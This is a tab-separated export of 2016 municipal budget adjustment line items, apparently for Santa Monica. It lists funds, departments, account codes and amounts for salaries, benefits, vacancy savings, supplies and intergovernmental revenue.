20828	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522540.0	ADVERTISING	804.0	 Supplies and Expenses	2016	19077	0	0	0	0	0	0	0	0	0	0	0	19077
20829	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	828	0	0	0	0	0	0	0	0	0	0	0	828
20830	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	15032	0	0	0	0	0	0	0	0	0	0	0	15032
20831	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	522610.0	EQUIPMENT RENTAL	804.0	 Supplies and Expenses	2016	6648	0	0	0	0	0	0	0	0	0	0	0	6648
20832	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511748.0	DENTAL	804.0	Salaries and Wages	2016	3132	0	0	0	0	0	0	0	0	0	0	0	3132
20833	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-5640	0	0	0	0	0	0	0	0	0	0	0	-5640
20834	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		EAP	804.0	Salaries and Wages	2016	319	0	0	0	0	0	0	0	0	0	0	0	319
20835	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		DISABILITY INSURANCE	804.0	Salaries and Wages	2016	2908	0	0	0	0	0	0	0	0	0	0	0	2908
20836	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	533020.0	GENERAL LIABILITY / AUTO	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20837	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	652	TRANSIT MAINTENANCE	560050.0	TOOL ALLOWANCE		 Supplies and Expenses	2016	35200	0	0	0	0	0	0	0	0	0	0	0	35200
20838	BA	IS	20	Miscellaneous Grants Fund	500	PUBLIC WORKS	402	ENGINEERING	404771.0	PROP C LR-BIKE TRANSIT CENTER	610.0	Intergovernmental	2016	-34202	0	0	0	0	0	0	0	0	0	0	0	-34202
20839	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 HAP VOUCHERS	610.0	Intergovernmental	2016	-12415648	0	0	0	0	0	0	0	0	0	0	0	-12415648
20840	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-40037	0	0	0	0	0	0	0	0	0	0	0	-40037
20841	BA	IS	1	General Fund	500	PUBLIC WORKS	403	ARCHITECTURE SERVICES	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	-47769	0	0	0	0	0	0	0	0	0	0	0	-47769
20842	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2016	-34429	0	0	0	0	0	0	0	0	0	0	0	-34429
20843	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	417	PARKING OPERATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-18987	0	0	0	0	0	0	0	0	0	0	0	-18987
20844	BA	IS	1	General Fund	410	LIBRARY	614	INFORMATION MANAGEMENT	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2016	-29762	0	0	0	0	0	0	0	0	0	0	0	-29762
20845	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511900.0	VACANCY SAVINGS		Salaries and Wages	2016	-11182	0	0	0	0	0	0	0	0	0	0	0	-11182
20846	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	577346.0	HAP PORT-IN	816.0	 Supplies and Expenses	2016	333600	0	0	0	0	0	0	0	0	0	0	0	333600
20847	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2016	25328	0	0	0	0	0	0	0	0	0	0	0	25328
20848	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511490.0	OVERTIME		Salaries and Wages	2016	1122	0	0	0	0	0	0	0	0	0	0	0	1122
20849	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL		Salaries and Wages	2016	72451	0	0	0	0	0	0	0	0	0	0	0	72451
20850	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		DCAP		Salaries and Wages	2016	432	0	0	0	0	0	0	0	0	0	0	0	432
20851	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		LIFE INSURANCE & AD & D		Salaries and Wages	2016	1382	0	0	0	0	0	0	0	0	0	0	0	1382
20852	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	533220.0	BLDG / STRUCTURE MAINTENANCE		 Supplies and Expenses	2016	2662	0	0	0	0	0	0	0	0	0	0	0	2662
20853	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	261741	0	0	0	0	0	0	0	0	0	0	0	261741
20854	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	522620.0	RENT		 Supplies and Expenses	2016	103143	0	0	0	0	0	0	0	0	0	0	0	103143
20855	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2016	2755	0	0	0	0	0	0	0	0	0	0	0	2755
20856	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2016	3600	0	0	0	0	0	0	0	0	0	0	0	3600
20857	BA	IS	30	Pier Fund	500	PUBLIC WORKS	455	PIER MAINTENANCE	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2016	478	0	0	0	0	0	0	0	0	0	0	0	478
20858	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	533580.0	COMPUTER EQUIP/SOFTWARE MAINT	808.0	 Supplies and Expenses	2016	30790	0	0	0	0	0	0	0	0	0	0	0	30790
20859	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20860	BA	IS	1	General Fund	140	CITY ATTORNEY	231	CITY ATTORNEY	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-204048	0	0	0	0	0	0	0	0	0	0	0	-204048
20861	BA	IS	1	General Fund	300	POLICE	305	OPERATIONS DIVISION	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2016	-634798	0	0	0	0	0	0	0	0	0	0	0	-634798
20862	BA	IS	1	General Fund	300	POLICE	306	STRATEGIC SERVICES	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2016	-424682	0	0	0	0	0	0	0	0	0	0	0	-424682
20863	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	321	BUILDING AND SAFETY	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2016	-105306	0	0	0	0	0	0	0	0	0	0	0	-105306
20864	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	-83948	0	0	0	0	0	0	0	0	0	0	0	-83948
20865	BA	IS	1	General Fund	310	FIRE	315	TRAINING	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2016	-7787	0	0	0	0	0	0	0	0	0	0	0	-7787
20866	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2016	-12875	0	0	0	0	0	0	0	0	0	0	0	-12875
20867	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2016	-38341	0	0	0	0	0	0	0	0	0	0	0	-38341
20868	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2016	-6503	0	0	0	0	0	0	0	0	0	0	0	-6503
20869	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2016	-9112	0	0	0	0	0	0	0	0	0	0	0	-9112
20870	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-38985	0	0	0	0	0	0	0	0	0	0	0	-38985
20871	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-9619	0	0	0	0	0	0	0	0	0	0	0	-9619
20872	BA	IS	1	General Fund	150	HUMAN RESOURCES	252	EMPLOYEE RELATIONS & BENEFITS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-32994	0	0	0	0	0	0	0	0	0	0	0	-32994
20873	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	263	ADMINISTRATION & REDEVELOPMENT	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2016	-11588	0	0	0	0	0	0	0	0	0	0	0	-11588
20874	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2016	-67472	0	0	0	0	0	0	0	0	0	0	0	-67472
20875	BA	IS	1	General Fund	310	FIRE	313	FIRE SUPPRESSION AND RESCUE	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2016	-274763	0	0	0	0	0	0	0	0	0	0	0	-274763
20876	BA	IS	1	General Fund	500	PUBLIC WORKS	401	ADMINISTRATIVE SERVICES (PW)	511900.0	VACANCY SAVINGS	808.0	Salaries and Wages	2016	-22453	0	0	0	0	0	0	0	0	0	0	0	-22453
20877	BA	IS	30	Pier Fund	300	POLICE	623	HARBOR UNIT	511900.0	VACANCY SAVINGS		Salaries and Wages	2016	-23799	0	0	0	0	0	0	0	0	0	0	0	-23799
20878	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511580.0	COLLEGE SUMMER INTERNS	804.0	Salaries and Wages	2016	57186	0	0	0	0	0	0	0	0	0	0	0	57186
20879	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2016	892156	0	0	0	0	0	0	0	0	0	0	0	892156
20880	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2016	12390	0	0	0	0	0	0	0	0	0	0	0	12390
20881	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		UNEMPLOYMENT	804.0	Salaries and Wages	2016	4311	0	0	0	0	0	0	0	0	0	0	0	4311
20882	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		DCAP	804.0	Salaries and Wages	2016	504	0	0	0	0	0	0	0	0	0	0	0	504
20883	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	579260.0	INTERNET/WWW SERVICES	804.0	 Supplies and Expenses	2016	31000	0	0	0	0	0	0	0	0	0	0	0	31000
20884	BA	IS	1	General Fund	410	LIBRARY	615	REFERENCE SERVICES	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2016	-64696	0	0	0	0	0	0	0	0	0	0	0	-64696
20885	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-20577	0	0	0	0	0	0	0	0	0	0	0	-20577
20886	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	266	CITY PLANNING/DEVELOPMENT REV.	408220.0	PUBLIC NOTIFICATION REVENUE	612.0	Charges for Service	2016	-10022	0	0	0	0	0	0	0	0	0	0	0	-10022
20887	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	407611.0	CITY WI-FI ADVERTISING	612.0	Charges for Service	2016	-4000	0	0	0	0	0	0	0	0	0	0	0	-4000
20888	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511749.0	VISION	804.0	Salaries and Wages	2016	1044	0	0	0	0	0	0	0	0	0	0	0	1044
20889	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	189127	0	0	0	0	0	0	0	0	0	0	0	189127
20890	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		EAP	804.0	Salaries and Wages	2016	744	0	0	0	0	0	0	0	0	0	0	0	744
20891	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2016	200	0	0	0	0	0	0	0	0	0	0	0	200
20892	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	522310.0	OFFICE SUPPLIES / EXPENSE	804.0	 Supplies and Expenses	2016	2640	0	0	0	0	0	0	0	0	0	0	0	2640
20893	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	401311.0	CONTRACT CLASSES	612.0	Charges for Service	2016	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
20894	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		EMPLOYEE HEALTH CONTRIBUTION	816.0	Salaries and Wages	2016	-20342	0	0	0	0	0	0	0	0	0	0	0	-20342
20895	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		LIFE INSURANCE & AD & D	816.0	Salaries and Wages	2016	3533	0	0	0	0	0	0	0	0	0	0	0	3533
20896	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522310.0	OFFICE SUPPLIES / EXPENSE	816.0	 Supplies and Expenses	2016	13951	0	0	0	0	0	0	0	0	0	0	0	13951
20897	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522330.0	INVENTORY ISSUES	816.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20898	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522910.0	VEHICLES - FUELS / LUBRICATION	816.0	 Supplies and Expenses	2016	108	0	0	0	0	0	0	0	0	0	0	0	108
20899	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	533670.0	IMAGING COSTS	816.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20900	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	405200.0	VIDEO PRODUCTION SERVICE	612.0	Charges for Service	2016	-16200	0	0	0	0	0	0	0	0	0	0	0	-16200
20901	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	653	TRANSIT MAINTENANCE	560060.0	UNIFORMS AND MAINTENANCE		 Supplies and Expenses	2016	20328	0	0	0	0	0	0	0	0	0	0	0	20328
20902	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	522	BEACH ADMINISTRATION	533020.0	GENERAL LIABILITY / AUTO	808.0	 Supplies and Expenses	2016	10909	0	0	0	0	0	0	0	0	0	0	0	10909
20903	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-73737	0	0	0	0	0	0	0	0	0	0	0	-73737
20904	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-15352	0	0	0	0	0	0	0	0	0	0	0	-15352
20905	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	246	SUPPORT SERVICES	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-23603	0	0	0	0	0	0	0	0	0	0	0	-23603
20906	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	265	PCD - ADMINISTRATION	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2016	-28098	0	0	0	0	0	0	0	0	0	0	0	-28098
20907	BA	IS	1	General Fund	300	POLICE	307	CRIMINAL INVESTIGATION DIV	511900.0	VACANCY SAVINGS	806.0	Salaries and Wages	2016	-316085	0	0	0	0	0	0	0	0	0	0	0	-316085
20908	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2016	-22708	0	0	0	0	0	0	0	0	0	0	0	-22708
20909	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571110.0	S+C HAP SUO2	816.0	 Supplies and Expenses	2016	85461	0	0	0	0	0	0	0	0	0	0	0	85461
20910	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	566810.0	TRANS & USE TAX-SMMUSD ALLOCAT	810.0	 Supplies and Expenses	2016	8071125	0	0	0	0	0	0	0	0	0	0	0	8071125
20911	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-23241	0	0	0	0	0	0	0	0	0	0	0	-23241
20912	BA	IS	1	General Fund	150	HUMAN RESOURCES	251	EMPLOYMENT & ORGANIZATIONAL DE	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-30198	0	0	0	0	0	0	0	0	0	0	0	-30198
20913	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2016	-21250	0	0	0	0	0	0	0	0	0	0	0	-21250
20914	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2016	-15940	0	0	0	0	0	0	0	0	0	0	0	-15940
20915	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511900.0	VACANCY SAVINGS		Salaries and Wages	2016	-21150	0	0	0	0	0	0	0	0	0	0	0	-21150
20916	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	511900.0	VACANCY SAVINGS	810.0	Salaries and Wages	2016	-3322	0	0	0	0	0	0	0	0	0	0	0	-3322
20917	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION	804.0	Salaries and Wages	2016	-6959	0	0	0	0	0	0	0	0	0	0	0	-6959
20918	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511748.0	DENTAL	816.0	Salaries and Wages	2016	23659	0	0	0	0	0	0	0	0	0	0	0	23659
20919	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511749.0	VISION	816.0	Salaries and Wages	2016	2957	0	0	0	0	0	0	0	0	0	0	0	2957
20920	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2016	377876	0	0	0	0	0	0	0	0	0	0	0	377876
20921	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522825.0	FOOD PURCHASES	816.0	 Supplies and Expenses	2016	510	0	0	0	0	0	0	0	0	0	0	0	510
20922	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	544040.0	BOOKS / PAMPHLETS	816.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20923	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	544170.0	UNIFORM / PROTECTIVE CLOTHING	816.0	 Supplies and Expenses	2016	14862	0	0	0	0	0	0	0	0	0	0	0	14862
20924	BA	IS	1	General Fund	130	FINANCE	224	REVENUE DIVISION	522530.0	PARKING OUTREACH	804.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20925	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522340.0	BUY LOCAL CAMPAIGN		 Supplies and Expenses	2016	20767	0	0	0	0	0	0	0	0	0	0	0	20767
20926	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	544110.0	PRINTED FORMS	804.0	 Supplies and Expenses	2016	4000	0	0	0	0	0	0	0	0	0	0	0	4000
20927	BA	IS	20	Miscellaneous Grants Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	562433.0	SHP-STEP UP	810.0	 Supplies and Expenses	2016	87765	0	0	0	0	0	0	0	0	0	0	0	87765
20928	BA	IS	37	Cemetery Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC EMPL	840.0	Salaries and Wages	2016	2579	0	0	0	0	0	0	0	0	0	0	0	2579
20929	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	569223.0	MORGAN-WIXSON THEATRE	810.0	 Supplies and Expenses	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20930	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511772.0	RETIREMENT - FIRE	806.0	Salaries and Wages	2016	135001	0	0	0	0	0	0	0	0	0	0	0	135001
20931	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511771.0	RETIREMENT - POLICE	806.0	Salaries and Wages	2016	369574	0	0	0	0	0	0	0	0	0	0	0	369574
20932	BA	IS	1	General Fund	310	FIRE	312	FIRE - ADMINISTRATION	544110.0	PRINTED FORMS	806.0	 Supplies and Expenses	2016	5429	0	0	0	0	0	0	0	0	0	0	0	5429
20933	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	533040.0	SPECIAL INSURANCE	804.0	 Supplies and Expenses	2016	21000	0	0	0	0	0	0	0	0	0	0	0	21000
20934	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	533030.0	PROPERTY INSURANCE		 Supplies and Expenses	2016	979	0	0	0	0	0	0	0	0	0	0	0	979
20935	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 FRAUD RECOVERY	610.0	Intergovernmental	2016	-50000	0	0	0	0	0	0	0	0	0	0	0	-50000
20936	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400882.0	SPC HAP TRA	610.0	Intergovernmental	2016	-1470740	0	0	0	0	0	0	0	0	0	0	0	-1470740
20937	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400884.0	SPC HAP EXPANSION	610.0	Intergovernmental	2016	-194940	0	0	0	0	0	0	0	0	0	0	0	-194940
20938	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400924.0	SPC ADMIN EXPANSION	610.0	Intergovernmental	2016	-13646	0	0	0	0	0	0	0	0	0	0	0	-13646
20939	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400923.0	SPC ADMIN SU05	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20940	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	5982	0	0	0	0	0	0	0	0	0	0	0	5982
20941	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2016	17667	0	0	0	0	0	0	0	0	0	0	0	17667
20942	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511713.0	MEDICARE-MISC EMPLOYEES	816.0	Salaries and Wages	2016	16955	0	0	0	0	0	0	0	0	0	0	0	16955
20943	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511773.0	RETIREMENT - MISC. EMPL	816.0	Salaries and Wages	2016	241157	0	0	0	0	0	0	0	0	0	0	0	241157
20944	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	533120.0	SPECIAL EQUIP MAINT	816.0	 Supplies and Expenses	2016	10000	0	0	0	0	0	0	0	0	0	0	0	10000
20945	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2016	-24829	0	0	0	0	0	0	0	0	0	0	0	-24829
20946	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	247	WEB DEVELOPMENT		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2016	3533	0	0	0	0	0	0	0	0	0	0	0	3533
20947	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2016	-44450	0	0	0	0	0	0	0	0	0	0	0	-44450
20948	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522210.0	UTILITIES - TELEPHONE	816.0	 Supplies and Expenses	2016	6694	0	0	0	0	0	0	0	0	0	0	0	6694
20949	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	405610.0	LAWN BOWLING	612.0	Charges for Service	2016	-1781	0	0	0	0	0	0	0	0	0	0	0	-1781
20950	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	405620.0	PRIVATE COACHING FEE	612.0	Charges for Service	2016	-1600	0	0	0	0	0	0	0	0	0	0	0	-1600
20951	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	544170.0	UNIFORM / PROTECTIVE CLOTHING	804.0	 Supplies and Expenses	2016	1000	0	0	0	0	0	0	0	0	0	0	0	1000
20952	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT		DISABILITY INSURANCE	816.0	Salaries and Wages	2016	12851	0	0	0	0	0	0	0	0	0	0	0	12851
20953	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	322	CODE ENFORCEMENT	522720.0	MILEAGE	816.0	 Supplies and Expenses	2016	1020	0	0	0	0	0	0	0	0	0	0	0	1020
20954	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES		SECTION 8 HAP VOUCHERS	610.0	Intergovernmental	2016	0	0	0	0	0	0	0	0	0	0	0	0	0
20955	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	405680.0	EVENT ADMINISTRATION FEE	612.0	Charges for Service	2016	-16300	0	0	0	0	0	0	0	0	0	0	0	-16300
20956	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511773.0	RETIREMENT - MISC. EMPL	804.0	Salaries and Wages	2016	495425	0	0	0	0	0	0	0	0	0	0	0	495425
20957	BA	IS	27	Resource Recovery & Recyc Fund	500	PUBLIC WORKS	441	RESOURCE RECOVERY & RECYCLING	405690.0	SALE OF ADVERTISING PANELS	662.0	Other	2016	-10000	0	0	0	0	0	0	0	0	0	0	0	-10000
20958	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	404211.0	OTHER OPER REV-OUTSIDE ADVERTI	650.0	Charges for Service	2016	-400000	0	0	0	0	0	0	0	0	0	0	0	-400000
